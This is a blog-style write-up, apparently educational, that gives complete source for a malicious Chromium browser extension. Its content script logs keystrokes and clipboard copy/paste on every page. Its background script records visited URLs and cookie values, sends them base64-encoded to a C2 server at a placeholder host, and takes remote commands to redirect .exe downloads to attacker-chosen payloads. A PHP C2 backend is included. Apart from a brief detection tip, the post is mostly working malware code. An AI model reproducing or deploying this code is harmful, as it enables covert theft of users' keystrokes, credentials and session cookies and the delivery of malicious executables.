Github: https://github.com/thoughtfault/keylogger-browser-extension

Summary

I started creating this extension to gain a better understanding of malicious chrome extensions. It’s main capabilities include keystroke logging and monitoring the sites a user is visiting. I also started work on some methods to obtain client-side execution by replacing user downloads with malicious executables, however this is not finished and will probably never be.

A note for detection and prevention

Chromium based web browsers write extensions to these locations.

C:\Users\%username%\AppData\Local\Google\Chrome\User Data\Default\Extensions
C:\Users\%username%\AppData\Local\Microsoft\Edge\User Data\Default\Extensions

Monitor and block new/suspicious extension writes if possible. Malicious extensions can be loaded into the user’s browser through official extension stores, third-party extension stores, the user manually loading the extension through social engineering, or even by malware with code execution as a browser-level persistence technique.

Development

First, we will need to create our manifest file, which defines what code we intent to run and the permissions it has.

Contents of manifest.json

{
    "name": "Malicious Chrome Extension Example",
    "version": "1.0",
    "manifest_version": 3,
    "permissions": [
        "activeTab",
        "scripting",
        "tabs",
        "storage",
        "downloads",
        "cookies",
        "alarms",
        "declarativeNetRequest"
    ],
    "declarative_net_request": {
        "rule_resources": [
            {
                "id": "redirect_rules",
                "enabled": true,
                "path": "rules.json"
            }
        ]
    },
    "host_permissions": [
        "<all_urls>"
    ],
    "background": {
        "service_worker": "background.js"
    },
    "content_scripts": [
        {
            "matches": [
                "<all_urls>"
            ],
            "js": [
                "content-script.js"
            ],
            "run_at": "document_start"
        }
    ]
}

We will create an empty rules file, which will be added to/removed from when we want to attempt to execute code on the client.

rules.json

[
]

Next, we will create our content script, which gets injected into every webpage the user visits. This will be responsible for collecting keystrokes and clipboard data.

Contents of content-script.js

var conn = chrome.runtime.connect({ name: "conn" });

chrome.runtime.sendMessage('update');

(async () => {
  const response = await chrome.runtime.sendMessage({check: "replace_html"});
  console.log(response);
})();


chrome.runtime.sendMessage('replace_html', (response) => {
    conn.postMessage({"type": "check", "data": "replace_html"});
});


function handleKeyDown(event) {
    const key = event.key;

    conn.postMessage({ "type": "key", "data": key });
}
document.addEventListener("keydown", handleKeyDown);


document.addEventListener("copy", (event) => {
    let copy = event.clipboardData.getData("text/plain");
    conn.postMessage({ "type": "copy", "data": copy });

    return true;
});

document.addEventListener("paste", (event) => {
    let paste = event.clipboardData.getData("text/plain");
    conn.postMessage({ "type": "paste", "data": paste });

    return true;
});

We will create our background script. Our background script will exfiltrate keystrokes and user activity to the exfiltration server. Additionally, our background script will periodically check in with the c2 server to receive commands/upload data.

Contents of background.js

const sleepTime = 1;
const c2Addr = 'http://SERVER/checkin.php';

/**
 * Registers with C2 server and sends inital data
 */
chrome.runtime.onInstalled.addListener(() => {
  const randomString = Math.random().toString(36).substring(2, 10);
  chrome.storage.local.set({ 'id': randomString });
  fetch(c2Addr, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({ id: randomString, type: "register" })
  });
});

chrome.alarms.create("checkin", { periodInMinutes: sleepTime });
/**
 * Update the C2 server with logs and get commands
 */
chrome.alarms.onAlarm.addListener(function checkin() {
  debug("Checkin");

  chrome.storage.local.get('log', function (data) {
    chrome.storage.local.get('id', function (result) {

      const b64log = btoa(unescape(encodeURIComponent(data.log)))
      data.log = '';
      chrome.storage.local.set({ 'log': data.log });

      fetch(c2Addr, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify({ data: b64log, id: result.id, type: "checkin" })
      }).then((response) => {
        return response.json();
      }).then((json) => {
        if (Object.keys(json).length === 0) {
          return;
        }
        let commands = json.commands

        for (let i = 0; i < commands.length; i++) {

          let commandArgs = commands[i].split(',');

          if (commandArgs[0] == "replace_html") {

            chrome.storage.local.set({ 'replace_html': 1 });
            chrome.storage.local.set({ 'replace_html_url': commandArgs[1] });

          } else if (commandArgs[0] == "replace_download") {

            chrome.declarativeNetRequest.updateDynamicRules({
              removeRuleIds: [1]
            });
            chrome.declarativeNetRequest.updateDynamicRules({
              addRules: [{
                "id": 1,
                "priority": 1,
                "action": { "type": "redirect", "redirect": { "url": commandArgs[1] } },
                "condition": { "urlFilter": ".*exe", "resourceTypes": ["main_frame", "sub_frame", "stylesheet", "script", "image", "font", "object", "xmlhttprequest", "ping", "csp_report", "media", "websocket", "webtransport", "webbundle", "other"]}
              }]
            });

            chrome.storage.local.set({ 'replace_download': 1 });

          }
        }
      });
    });
  });
});

/**
 * Store log data in local storage
 * @param {string} key 
 */
function addLog(key) {
  chrome.storage.local.get('log', function (data) {
    if (!data.log) {
      data.log = '';
    }

    if (data.length != 1) {
      data.log += data.log.trim() + key + '\n';
    } else {
      data.log += key;
    }

    chrome.storage.local.set({ 'log': data.log });
  });
}

/**
 * Event listener for content script
 */
chrome.runtime.onConnect.addListener((port) => {
  console.assert(port.name === "conn");

  port.onMessage.addListener(({ type, data }) => {

    if (type == 'key') {
      addLog(data.replace("Enter", "\n"));
    } else if (type == 'paste') {
      addLog('PASTE:' + data);
    } else if (type == 'copy') {
      addLog('COPY:' + data);
    }
  });
});

/**
 * Event listener for tab changes
 */
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.url && changeInfo.url != "chrome://newtab/" && changeInfo.url != "") {
    addLog(`\nSWITCH:${changeInfo.url}\n`);
  }
});

/**
 * Event listener for new tabs
 */
chrome.tabs.onActivated.addListener(({ tabId }) => {
  chrome.tabs.get(tabId, ({ url }) => {
    if (url != "chrome://newtab/" && url != "") {
      addLog(`\nSWITCH:${url}\n`);
    }
  });
});

/**
 * Event listener for cookie changes
 */
chrome.cookies.onChanged.addListener(({ cookie, cause }) => {
  if (cause !== "explicit" && cause !== "overwrite") {
    return;
  }

  addLog(`COOKIE ${cause}: ${cookie.domain},${cookie.name},${cookie.value},${cookie.expirationDate}`);
});

chrome.runtime.onMessage.addListener(
  function(request, sender, sendResponse) {
   if (request.check === "replace_html" && chrome.storage.local.get('replace_html')) {
      sendResponse({url: chrome.storage.local.get('replace_html_url')});
    }
  }
);

Here is the php code I am running server side while I am developing this. DB is text files for now.

<?php

        ini_set('display_errors', 1);
        error_reporting(E_ALL);


        if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
                die();
        }

        $json = file_get_contents('php://input');
        $data = json_decode($json, true);

        if (!(isset($data['id']) || isset($data['type']))) {
                die();
        } 

        $type = $data['type'];
        $id = $data['id'];
        $logfile = "/var/log/keylog/log-$id.txt";


        if ($type === 'register' && !file_exists($logfile)) {
                file_put_contents($logfile, "ORIGIN:" . $_SERVER['REMOTE_ADDR'] . "\n");
        } else if ($type == 'checkin') {

                if (!file_exists($logfile)) {
                        die();
                }

                $str = urldecode(rawurldecode(base64_decode($data['data'])));
                file_put_contents($logfile, $str, FILE_APPEND);

                $command_file = "/var/log/keylog/commands-$id.txt";
                if (!file_exists($command_file)) {
                        header('Content-Type: application/json');
                        echo json_encode(array());
                        die();
                }

                $commands = array();

                $file = fopen($command_file, 'r');
                if ($file) {
                    while (($line = fgets($file)) !== false) {
                        $commands[] = trim($line);
                    }
                    fclose($file);
                } else {
                    die("Failed to open file: $filename");
                }

                $response = array('commands' => $commands);
                header('Content-Type: application/json');
                echo json_encode($response);
        }
?>

Sources

https://developer.chrome.com/docs/extensions/ https://developer.chrome.com/docs/extensions/mv3/devguide/ https://developer.chrome.com/docs/extensions/mv3/architecture-overview/ https://developer.chrome.com/docs/extensions/mv3/messaging/ https://developer.chrome.com/docs/extensions/mv3/content_scripts/ https://stackoverflow.com/questions/38948958/does-content-script-have-access-to-newtab-page https://stackoverflow.com/questions/14814841/chrome-extension-have-an-extension-listen-for-an-event-on-a-page